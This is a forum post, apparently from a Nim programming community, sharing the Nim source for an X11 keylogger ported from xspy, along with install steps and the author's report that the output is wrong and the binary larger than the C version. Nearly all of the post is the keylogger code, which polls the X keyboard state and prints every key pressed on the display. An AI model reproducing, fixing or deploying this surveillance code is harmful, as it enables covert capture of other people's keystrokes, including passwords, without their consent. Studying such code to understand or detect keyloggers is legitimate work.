[Failed] Create X11 keylogger in Nim lang

Installation

  • sudo apt install nim Nim 1.4 from Debian
  • nimble install x11 Libx11 binding lib (version 1.1)

Code

This code is a port version of xspy in Nim.

import x11 / [xlib, x]
import os
import bitops
import posix


proc getKeyMap(xDisplay: Pdisplay, minKeyCode, maxKeyCode: cint): seq[cstring] =
  # Build seq of keycode
  for i in minKeyCode .. maxKeyCode:
    let keyMap = XKeysymToString(XKeycodeToKeysym(xDisplay, cast[Keycode](i), 0))
    if keyMap == nil:
      result.add("unknown")
    elif keyMap == "space":
      result.add(" ")
    elif keyMap == "Return":
      result.add("\n")
    else:
      result.add(keyMap)


proc spawn(xDisplay: Pdisplay, seqKeyMap: seq[cstring]) =
  var
    thisKeys, lastKeys: array[0..31, char]
    shortTime: Timeval
  
  shortTime.tv_sec = posix.Time(0)
  shortTime.tv_usec = 10
  discard select(0, nil, nil, nil, addr(shortTime))

  while true:
    discard xDisplay.XQueryKeymap(thisKeys)
    for i in 0 .. 31:
      if thisKeys[i] != lastKeys[i]:
        var j = 1
        var k = 0
        while j < 256:
          # Sort of key mapping calculation. Don't know why it failed here
          if bitand(ord(thisKeys[i]), j) != 0 and (bitand(ord(thisKeys[i]), j) != bitand(ord(lastKeys[i]), j)):
            let pos = i * 8 + k
            if seqKeyMap[pos] == "space":
              stdout.write(" ")
            elif seqKeyMap[pos] == "Return":
              stdout.write("\n")
            else:
              stdout.write(seqKeyMap[pos])
            stdout.write(" ")
          j *= 2
          k += 1
      
      # End of check keymap
      lastKeys[i] = thisKeys[i]     
    flushFile(stdout)


proc main() =
  let
    osDisplay = getEnv("DISPLAY")
    xDisplay = XOpenDisplay(osDisplay)

  if xDisplay == nil:
    echo "Can't open display"
    return

  var
    minKeyCode, maxKeyCode: cint

  let
    keyDisplay = xDisplay.XDisplayKeycodes(addr(minKeyCode), addr(maxKeyCode))
    seqKeyMap = getKeyMap(xDisplay, minKeyCode, maxKeyCode)
  
  spawn(xDisplay, seqKeyMap)
  discard XCloseDisplay(xDisplay)

main()

Result:

  • Code ran but the result was wrong
  • The binary is not tiny (128kb with default build flags) compare to 12kb (C code).
1 Like